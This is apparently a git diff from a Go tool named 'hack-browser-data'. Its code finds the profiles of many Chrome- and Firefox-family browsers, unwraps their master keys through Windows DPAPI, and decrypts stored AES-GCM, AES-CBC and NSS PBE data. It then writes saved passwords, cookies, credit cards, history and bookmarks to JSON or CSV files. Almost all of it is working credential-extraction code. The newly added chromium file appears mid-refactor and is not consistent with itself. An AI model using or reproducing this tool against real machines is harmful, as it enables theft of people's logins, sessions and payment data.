||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-dev": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + fireFoxDevProfilePath, |
|
||||||
Name: firefoxDevName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-nightly": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + fireFoxNightlyProfilePath, |
|
||||||
Name: firefoxNightlyName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"firefox-esr": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + fireFoxESRProfilePath, |
|
||||||
Name: firefoxESRName, |
|
||||||
New: NewFirefox, |
|
||||||
}, |
|
||||||
"chrome": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath, |
|
||||||
Name: chromeName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"chrome-beta": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + chromeBetaProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + chromeBetaKeyPath, |
|
||||||
Name: chromeBetaName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"chromium": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + chromiumProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + chromiumKeyPath, |
|
||||||
Name: chromiumName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"edge": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + edgeKeyPath, |
|
||||||
Name: edgeName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"360": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath, |
|
||||||
Name: speed360Name, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"qq": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath, |
|
||||||
Name: qqBrowserName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"brave": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + braveProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + braveKeyPath, |
|
||||||
Name: braveName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"opera": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + operaProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + operaKeyPath, |
|
||||||
Name: operaName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"opera-gx": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + operaGXProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + operaGXKeyPath, |
|
||||||
Name: operaGXName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"vivaldi": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + vivaldiProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + vivaldiKeyPath, |
|
||||||
Name: vivaldiName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"coccoc": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + coccocProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + coccocKeyPath, |
|
||||||
Name: coccocName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
"yandex": { |
|
||||||
ProfilePath: os.Getenv("USERPROFILE") + yandexProfilePath, |
|
||||||
KeyPath: os.Getenv("USERPROFILE") + yandexKeyPath, |
|
||||||
Name: yandexName, |
|
||||||
New: NewChromium, |
|
||||||
}, |
|
||||||
} |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
errBase64DecodeFailed = errors.New("decode base64 failed") |
|
||||||
) |
|
||||||
|
|
||||||
// InitSecretKey with win32 DPAPI
|
|
||||||
// conference from @https://gist.github.com/akamajoris/ed2f14d817d5514e7548
|
|
||||||
func (c *Chromium) InitSecretKey() error { |
|
||||||
if c.keyPath == "" { |
|
||||||
return nil |
|
||||||
} |
|
||||||
if _, err := os.Stat(c.keyPath); os.IsNotExist(err) { |
|
||||||
return fmt.Errorf("%s secret key path is empty", c.name) |
|
||||||
} |
|
||||||
keyFile, err := utils.ReadFile(c.keyPath) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
encryptedKey := gjson.Get(keyFile, "os_crypt.encrypted_key") |
|
||||||
if encryptedKey.Exists() { |
|
||||||
pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String()) |
|
||||||
if err != nil { |
|
||||||
return errBase64DecodeFailed |
|
||||||
} |
|
||||||
c.secretKey, err = decrypt.DPApi(pureKey[5:]) |
|
||||||
return err |
|
||||||
} |
|
||||||
return nil |
|
||||||
} |
|
@ -1,224 +0,0 @@ |
|||||||
package data |
|
||||||
|
|
||||||
import ( |
|
||||||
"bytes" |
|
||||||
"encoding/json" |
|
||||||
"fmt" |
|
||||||
"os" |
|
||||||
"sort" |
|
||||||
|
|
||||||
"github.com/jszwec/csvutil" |
|
||||||
|
|
||||||
"hack-browser-data/internal/utils" |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
utf8Bom = []byte{239, 187, 191} |
|
||||||
) |
|
||||||
|
|
||||||
func (b *bookmarks) outPutJson(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "bookmark", "json") |
|
||||||
sort.Slice(b.bookmarks, func(i, j int) bool { |
|
||||||
return b.bookmarks[i].ID < b.bookmarks[j].ID |
|
||||||
}) |
|
||||||
err := writeToJson(filename, b.bookmarks) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (h *historyData) outPutJson(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "history", "json") |
|
||||||
sort.Slice(h.history, func(i, j int) bool { |
|
||||||
return h.history[i].VisitCount > h.history[j].VisitCount |
|
||||||
}) |
|
||||||
err := writeToJson(filename, h.history) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (d *downloads) outPutJson(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "download", "json") |
|
||||||
err := writeToJson(filename, d.downloads) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(d.downloads), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (p *passwords) outPutJson(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "password", "json") |
|
||||||
err := writeToJson(filename, p.logins) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *cookies) outPutJson(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "cookie", "json") |
|
||||||
err := writeToJson(filename, c.cookies) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *creditCards) outPutJson(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "credit", "json") |
|
||||||
err := writeToJson(filename, c.cards) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func writeToJson(filename string, data interface{}) error { |
|
||||||
f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
defer f.Close() |
|
||||||
w := new(bytes.Buffer) |
|
||||||
enc := json.NewEncoder(w) |
|
||||||
enc.SetEscapeHTML(false) |
|
||||||
enc.SetIndent("", "\t") |
|
||||||
err = enc.Encode(data) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
_, err = f.Write(w.Bytes()) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (b *bookmarks) outPutCsv(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "bookmark", "csv") |
|
||||||
if err := writeToCsv(filename, b.bookmarks); err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d bookmarks, filename is %s \n", utils.Prefix, len(b.bookmarks), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (h *historyData) outPutCsv(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "history", "csv") |
|
||||||
if err := writeToCsv(filename, h.history); err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d history, filename is %s \n", utils.Prefix, len(h.history), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (d *downloads) outPutCsv(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "download", "csv") |
|
||||||
if err := writeToCsv(filename, d.downloads); err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d download history, filename is %s \n", utils.Prefix, len(d.downloads), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (p *passwords) outPutCsv(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "password", "csv") |
|
||||||
if err := writeToCsv(filename, p.logins); err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d passwords, filename is %s \n", utils.Prefix, len(p.logins), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *cookies) outPutCsv(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "cookie", "csv") |
|
||||||
var tempSlice []cookie |
|
||||||
for _, v := range c.cookies { |
|
||||||
tempSlice = append(tempSlice, v...) |
|
||||||
} |
|
||||||
if err := writeToCsv(filename, tempSlice); err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d cookies, filename is %s \n", utils.Prefix, len(c.cookies), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (c *creditCards) outPutCsv(browser, dir string) error { |
|
||||||
filename := utils.FormatFilename(dir, browser, "credit", "csv") |
|
||||||
var tempSlice []card |
|
||||||
for _, v := range c.cards { |
|
||||||
tempSlice = append(tempSlice, v...) |
|
||||||
} |
|
||||||
if err := writeToCsv(filename, tempSlice); err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
fmt.Printf("%s Get %d credit cards, filename is %s \n", utils.Prefix, len(c.cards), filename) |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func writeToCsv(filename string, data interface{}) error { |
|
||||||
var d []byte |
|
||||||
f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
defer f.Close() |
|
||||||
_, err = f.Write(utf8Bom) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
d, err = csvutil.Marshal(data) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
_, err = f.Write(d) |
|
||||||
if err != nil { |
|
||||||
return err |
|
||||||
} |
|
||||||
return nil |
|
||||||
} |
|
||||||
|
|
||||||
func (b *bookmarks) outPutConsole() { |
|
||||||
for _, v := range b.bookmarks { |
|
||||||
fmt.Printf("%+v\n", v) |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (c *cookies) outPutConsole() { |
|
||||||
for host, value := range c.cookies { |
|
||||||
fmt.Printf("%s\n%+v\n", host, value) |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (h *historyData) outPutConsole() { |
|
||||||
for _, v := range h.history { |
|
||||||
fmt.Printf("%+v\n", v) |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (d *downloads) outPutConsole() { |
|
||||||
for _, v := range d.downloads { |
|
||||||
fmt.Printf("%+v\n", v) |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (p *passwords) outPutConsole() { |
|
||||||
for _, v := range p.logins { |
|
||||||
fmt.Printf("%+v\n", v) |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (c *creditCards) outPutConsole() { |
|
||||||
for _, v := range c.cards { |
|
||||||
fmt.Printf("%+v\n", v) |
|
||||||
} |
|
||||||
} |
|
File diff suppressed because it is too large
Load Diff
@ -1,214 +0,0 @@ |
|||||||
package decrypt |
|
||||||
|
|
||||||
import ( |
|
||||||
"crypto/aes" |
|
||||||
"crypto/cipher" |
|
||||||
"crypto/des" |
|
||||||
"crypto/hmac" |
|
||||||
"crypto/sha1" |
|
||||||
"crypto/sha256" |
|
||||||
"encoding/asn1" |
|
||||||
"errors" |
|
||||||
|
|
||||||
"golang.org/x/crypto/pbkdf2" |
|
||||||
) |
|
||||||
|
|
||||||
var ( |
|
||||||
errSecurityKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal") |
|
||||||
errPasswordIsEmpty = errors.New("password is empty") |
|
||||||
errDecryptFailed = errors.New("decrypter encrypt value failed") |
|
||||||
errDecodeASN1Failed = errors.New("decode ASN1 data failed") |
|
||||||
errEncryptedLength = errors.New("length of encrypted password less than block size") |
|
||||||
) |
|
||||||
|
|
||||||
type ASN1PBE interface { |
|
||||||
Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) |
|
||||||
} |
|
||||||
|
|
||||||
func NewASN1PBE(b []byte) (pbe ASN1PBE, err error) { |
|
||||||
var ( |
|
||||||
n NssPBE |
|
||||||
m MetaPBE |
|
||||||
l LoginPBE |
|
||||||
) |
|
||||||
if _, err := asn1.Unmarshal(b, &n); err == nil { |
|
||||||
return n, nil |
|
||||||
} |
|
||||||
if _, err := asn1.Unmarshal(b, &m); err == nil { |
|
||||||
return m, nil |
|
||||||
} |
|
||||||
if _, err := asn1.Unmarshal(b, &l); err == nil { |
|
||||||
return l, nil |
|
||||||
} |
|
||||||
return nil, errDecodeASN1Failed |
|
||||||
} |
|
||||||
|
|
||||||
// NssPBE Struct
|
|
||||||
// SEQUENCE (2 elem)
|
|
||||||
// SEQUENCE (2 elem)
|
|
||||||
// OBJECT IDENTIFIER
|
|
||||||
// SEQUENCE (2 elem)
|
|
||||||
// OCTET STRING (20 byte)
|
|
||||||
// INTEGER 1
|
|
||||||
// OCTET STRING (16 byte)
|
|
||||||
type NssPBE struct { |
|
||||||
NssSequenceA |
|
||||||
Encrypted []byte |
|
||||||
} |
|
||||||
|
|
||||||
type NssSequenceA struct { |
|
||||||
DecryptMethod asn1.ObjectIdentifier |
|
||||||
NssSequenceB |
|
||||||
} |
|
||||||
|
|
||||||
type NssSequenceB struct { |
|
||||||
EntrySalt []byte |
|
||||||
Len int |
|
||||||
} |
|
||||||
|
|
||||||
func (n NssPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { |
|
||||||
glmp := append(globalSalt, masterPwd...) |
|
||||||
hp := sha1.Sum(glmp) |
|
||||||
s := append(hp[:], n.EntrySalt...) |
|
||||||
chp := sha1.Sum(s) |
|
||||||
pes := paddingZero(n.EntrySalt, 20) |
|
||||||
tk := hmac.New(sha1.New, chp[:]) |
|
||||||
tk.Write(pes) |
|
||||||
pes = append(pes, n.EntrySalt...) |
|
||||||
k1 := hmac.New(sha1.New, chp[:]) |
|
||||||
k1.Write(pes) |
|
||||||
tkPlus := append(tk.Sum(nil), n.EntrySalt...) |
|
||||||
k2 := hmac.New(sha1.New, chp[:]) |
|
||||||
k2.Write(tkPlus) |
|
||||||
k := append(k1.Sum(nil), k2.Sum(nil)...) |
|
||||||
iv := k[len(k)-8:] |
|
||||||
return des3Decrypt(k[:24], iv, n.Encrypted) |
|
||||||
} |
|
||||||
|
|
||||||
// MetaPBE Struct
|
|
||||||
// SEQUENCE (2 elem)
|
|
||||||
// SEQUENCE (2 elem)
|
|
||||||
// OBJECT IDENTIFIER
|
|
||||||
// SEQUENCE (2 elem)
|
|
||||||
// SEQUENCE (2 elem)
|
|
||||||
// OBJECT IDENTIFIER
|
|
||||||
// SEQUENCE (4 elem)
|
|
||||||
// OCTET STRING (32 byte)
|
|
||||||
// INTEGER 1
|
|
||||||
// INTEGER 32
|
|
||||||
// SEQUENCE (1 elem)
|
|
||||||
// OBJECT IDENTIFIER
|
|
||||||
// SEQUENCE (2 elem)
|
|
||||||
// OBJECT IDENTIFIER
|
|
||||||
// OCTET STRING (14 byte)
|
|
||||||
// OCTET STRING (16 byte)
|
|
||||||
type MetaPBE struct { |
|
||||||
MetaSequenceA |
|
||||||
Encrypted []byte |
|
||||||
} |
|
||||||
|
|
||||||
type MetaSequenceA struct { |
|
||||||
PKCS5PBES2 asn1.ObjectIdentifier |
|
||||||
MetaSequenceB |
|
||||||
} |
|
||||||
type MetaSequenceB struct { |
|
||||||
MetaSequenceC |
|
||||||
MetaSequenceD |
|
||||||
} |
|
||||||
|
|
||||||
type MetaSequenceC struct { |
|
||||||
PKCS5PBKDF2 asn1.ObjectIdentifier |
|
||||||
MetaSequenceE |
|
||||||
} |
|
||||||
|
|
||||||
type MetaSequenceD struct { |
|
||||||
AES256CBC asn1.ObjectIdentifier |
|
||||||
IV []byte |
|
||||||
} |
|
||||||
|
|
||||||
type MetaSequenceE struct { |
|
||||||
EntrySalt []byte |
|
||||||
IterationCount int |
|
||||||
KeySize int |
|
||||||
MetaSequenceF |
|
||||||
} |
|
||||||
|
|
||||||
type MetaSequenceF struct { |
|
||||||
HMACWithSHA256 asn1.ObjectIdentifier |
|
||||||
} |
|
||||||
|
|
||||||
func (m MetaPBE) Decrypt(globalSalt, masterPwd []byte) (key2 []byte, err error) { |
|
||||||
k := sha1.Sum(globalSalt) |
|
||||||
key := pbkdf2.Key(k[:], m.EntrySalt, m.IterationCount, m.KeySize, sha256.New) |
|
||||||
iv := append([]byte{4, 14}, m.IV...) |
|
||||||
return aes128CBCDecrypt(key, iv, m.Encrypted) |
|
||||||
} |
|
||||||
|
|
||||||
// LoginPBE Struct
|
|
||||||
// SEQUENCE (3 elem)
|
|
||||||
// OCTET STRING (16 byte)
|
|
||||||
// SEQUENCE (2 elem)
|
|
||||||
// OBJECT IDENTIFIER
|
|
||||||
// OCTET STRING (8 byte)
|
|
||||||
// OCTET STRING (16 byte)
|
|
||||||
type LoginPBE struct { |
|
||||||
CipherText []byte |
|
||||||
LoginSequence |
|
||||||
Encrypted []byte |
|
||||||
} |
|
||||||
|
|
||||||
type LoginSequence struct { |
|
||||||
asn1.ObjectIdentifier |
|
||||||
IV []byte |
|
||||||
} |
|
||||||
|
|
||||||
func (l LoginPBE) Decrypt(globalSalt, masterPwd []byte) (key []byte, err error) { |
|
||||||
return des3Decrypt(globalSalt, l.IV, l.Encrypted) |
|
||||||
} |
|
||||||
|
|
||||||
func aes128CBCDecrypt(key, iv, encryptPass []byte) ([]byte, error) { |
|
||||||
block, err := aes.NewCipher(key) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
encryptLen := len(encryptPass) |
|
||||||
if encryptLen < block.BlockSize() { |
|
||||||
return nil, errEncryptedLength |
|
||||||
} |
|
||||||
|
|
||||||
dst := make([]byte, encryptLen) |
|
||||||
mode := cipher.NewCBCDecrypter(block, iv) |
|
||||||
mode.CryptBlocks(dst, encryptPass) |
|
||||||
dst = PKCS5UnPadding(dst) |
|
||||||
return dst, nil |
|
||||||
} |
|
||||||
|
|
||||||
func PKCS5UnPadding(src []byte) []byte { |
|
||||||
length := len(src) |
|
||||||
unpad := int(src[length-1]) |
|
||||||
return src[:(length - unpad)] |
|
||||||
} |
|
||||||
|
|
||||||
// des3Decrypt use for decrypter firefox PBE
|
|
||||||
func des3Decrypt(key, iv []byte, src []byte) ([]byte, error) { |
|
||||||
block, err := des.NewTripleDESCipher(key) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
blockMode := cipher.NewCBCDecrypter(block, iv) |
|
||||||
sq := make([]byte, len(src)) |
|
||||||
blockMode.CryptBlocks(sq, src) |
|
||||||
return sq, nil |
|
||||||
} |
|
||||||
|
|
||||||
func paddingZero(s []byte, l int) []byte { |
|
||||||
h := l - len(s) |
|
||||||
if h <= 0 { |
|
||||||
return s |
|
||||||
} else { |
|
||||||
for i := len(s); i < l; i++ { |
|
||||||
s = append(s, 0) |
|
||||||
} |
|
||||||
return s |
|
||||||
} |
|
||||||
} |
|
@ -1,17 +0,0 @@ |
|||||||
package decrypt |
|
||||||
|
|
||||||
func ChromePass(key, encryptPass []byte) ([]byte, error) { |
|
||||||
if len(encryptPass) > 3 { |
|
||||||
if len(key) == 0 { |
|
||||||
return nil, errSecurityKeyIsEmpty |
|
||||||
} |
|
||||||
var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} |
|
||||||
return aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) |
|
||||||
} else { |
|
||||||
return nil, errDecryptFailed |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func DPApi(data []byte) ([]byte, error) { |
|
||||||
return nil, nil |
|
||||||
} |
|
@ -1,17 +0,0 @@ |
|||||||
package decrypt |
|
||||||
|
|
||||||
func ChromePass(key, encryptPass []byte) ([]byte, error) { |
|
||||||
var chromeIV = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} |
|
||||||
if len(encryptPass) > 3 { |
|
||||||
if len(key) == 0 { |
|
||||||
return nil, errSecurityKeyIsEmpty |
|
||||||
} |
|
||||||
return aes128CBCDecrypt(key, chromeIV, encryptPass[3:]) |
|
||||||
} else { |
|
||||||
return nil, errDecryptFailed |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func DPApi(data []byte) ([]byte, error) { |
|
||||||
return nil, nil |
|
||||||
} |
|
@ -1,70 +0,0 @@ |
|||||||
package decrypt |
|
||||||
|
|
||||||
import ( |
|
||||||
"crypto/aes" |
|
||||||
"crypto/cipher" |
|
||||||
"syscall" |
|
||||||
"unsafe" |
|
||||||
) |
|
||||||
|
|
||||||
func ChromePass(key, encryptPass []byte) ([]byte, error) { |
|
||||||
if len(encryptPass) > 15 { |
|
||||||
// remove Prefix 'v10'
|
|
||||||
return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15]) |
|
||||||
} else { |
|
||||||
return nil, errPasswordIsEmpty |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
// chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_win.cc
|
|
||||||
func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) { |
|
||||||
block, err := aes.NewCipher(key) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
blockMode, err := cipher.NewGCM(block) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
origData, err := blockMode.Open(nil, nounce, crypted, nil) |
|
||||||
if err != nil { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
return origData, nil |
|
||||||
} |
|
||||||
|
|
||||||
type dataBlob struct { |
|
||||||
cbData uint32 |
|
||||||
pbData *byte |
|
||||||
} |
|
||||||
|
|
||||||
func NewBlob(d []byte) *dataBlob { |
|
||||||
if len(d) == 0 { |
|
||||||
return &dataBlob{} |
|
||||||
} |
|
||||||
return &dataBlob{ |
|
||||||
pbData: &d[0], |
|
||||||
cbData: uint32(len(d)), |
|
||||||
} |
|
||||||
} |
|
||||||
|
|
||||||
func (b *dataBlob) ToByteArray() []byte { |
|
||||||
d := make([]byte, b.cbData) |
|
||||||
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:]) |
|
||||||
return d |
|
||||||
} |
|
||||||
|
|
||||||
// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
|
|
||||||
func DPApi(data []byte) ([]byte, error) { |
|
||||||
dllCrypt := syscall.NewLazyDLL("Crypt32.dll") |
|
||||||
dllKernel := syscall.NewLazyDLL("Kernel32.dll") |
|
||||||
procDecryptData := dllCrypt.NewProc("CryptUnprotectData") |
|
||||||
procLocalFree := dllKernel.NewProc("LocalFree") |
|
||||||
var outBlob dataBlob |
|
||||||
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob))) |
|
||||||
if r == 0 { |
|
||||||
return nil, err |
|
||||||
} |
|
||||||
defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData))) |
|
||||||
return outBlob.ToByteArray(), nil |
|
||||||
} |
|
@ -0,0 +1,108 @@ |
|||||||
|
package chromium |
||||||
|
|
||||||
|
import ( |
||||||
|
"fmt" |
||||||
|
"io/ioutil" |
||||||
|
"os" |
||||||
|
"path" |
||||||
|
"path/filepath" |
||||||
|
"strings" |
||||||
|
|
||||||
|
"hack-browser-data/internal/browser/data" |
||||||
|
"hack-browser-data/internal/browser/item" |
||||||
|
) |
||||||
|
|
||||||
|
type chromium struct { |
||||||
|
name string |
||||||
|
storage string |
||||||
|
profilePath string |
||||||
|
masterKey []byte |
||||||
|
items []item.Item |
||||||
|
itemPaths map[item.Item]string |
||||||
|
} |
||||||
|
|
||||||
|
// newChromium 根据浏览器信息生成 Browser Interface
|
||||||
|
func newChromium(name, storage, profilePath string, items []item.Item) (*chromium, error) { |
||||||
|
c := &chromium{ |
||||||
|
name: name, |
||||||
|
storage: storage, |
||||||
|
profilePath: profilePath, |
||||||
|
items: items, |
||||||
|
} |
||||||
|
absProfilePath := path.Join(homeDir, filepath.Clean(c.browserInfo.profilePath)) |
||||||
|
// TODO: Handle file path is not exist
|
||||||
|
if !isFileExist(absProfilePath) { |
||||||
|
return nil, fmt.Errorf("%s profile path is not exist", absProfilePath) |
||||||
|
} |
||||||
|
itemsPaths, err := getChromiumItemPath(absProfilePath, c.items) |
||||||
|
if err != nil { |
||||||
|
return nil, err |
||||||
|
} |
||||||
|
c.itemPaths = itemsPaths |
||||||
|
return c, err |
||||||
|
} |
||||||
|
|
||||||
|
func (c *chromium) GetName() string { |
||||||
|
return c.name |
||||||
|
} |
||||||
|
|
||||||
|
func (c *chromium) GetBrowsingData() []data.BrowsingData { |
||||||
|
var browsingData []data.BrowsingData |
||||||
|
for item := range c.itemPaths { |
||||||
|
d := item.NewBrowsingData() |
||||||
|
if d != nil { |
||||||
|
browsingData = append(browsingData, d) |
||||||
|
} |
||||||
|
} |
||||||
|
return browsingData |
||||||
|
} |
||||||
|
|
||||||
|
func (c *chromium) CopyItemFileToLocal() error { |
||||||
|
for item, sourcePath := range c.itemPaths { |
||||||
|
var dstFilename = item.FileName() |
||||||
|
locals, _ := filepath.Glob("*") |
||||||
|
for _, v := range locals { |
||||||
|
if v == dstFilename { |
||||||
|
err := os.Remove(dstFilename) |
||||||
|
// TODO: Should Continue all iteration error
|
||||||
|
if err != nil { |
||||||
|
return err |
||||||
|
} |
||||||
|
} |
||||||
|
} |
||||||
|
|
||||||
|
// TODO: Handle read file error
|
||||||
|
sourceFile, err := ioutil.ReadFile(sourcePath) |
||||||
|
if err != nil { |
||||||
|
fmt.Println(err.Error()) |
||||||
|
} |
||||||
|
err = ioutil.WriteFile(dstFilename, sourceFile, 0777) |
||||||
|
if err != nil { |
||||||
|
return err |
||||||
|
} |
||||||
|
} |
||||||
|
return nil |
||||||
|
} |
||||||
|
|
||||||
|
func getChromiumItemPath(profilePath string, items []item.Item) (map[item.Item]string, error) { |
||||||
|
var itemPaths = make(map[item.Item]string) |
||||||
|
err := filepath.Walk(profilePath, chromiumWalkFunc(items, itemPaths)) |
||||||
|
return itemPaths, err |
||||||
|
} |
||||||
|
|
||||||
|
func chromiumWalkFunc(items []item.Item, itemPaths map[item.Item]string) filepath.WalkFunc { |
||||||
|
return func(path string, info os.FileInfo, err error) error { |
||||||
|
for _, it := range items { |
||||||
|
switch { |
||||||
|
case it.DefaultName() == info.Name(): |
||||||
|
if it == it.chromiumKey { |
||||||
|
itemPaths[it] = path |
||||||
|
} |
||||||
|
if strings.Contains(path, "Default") { |
||||||
|
itemPaths[it] = path |
||||||
|
} |
||||||
|
} |
||||||
|
} |
||||||
|
return err |
||||||
|
} |
||||||
|
} |
@ -1,47 +0,0 @@ |
|||||||
package consts |
|
||||||
|
|
||||||
// item's default filename
|
|
||||||
const ( |
|
||||||
ChromiumKey = "Local State" |
|
||||||
ChromiumCredit = "Web Data" |
|
||||||
ChromiumPassword = "Login Data" |
|
||||||
ChromiumHistory = "History" |
|
||||||
ChromiumDownload = "History" |
|
||||||
ChromiumCookie = "Cookies" |
|
||||||
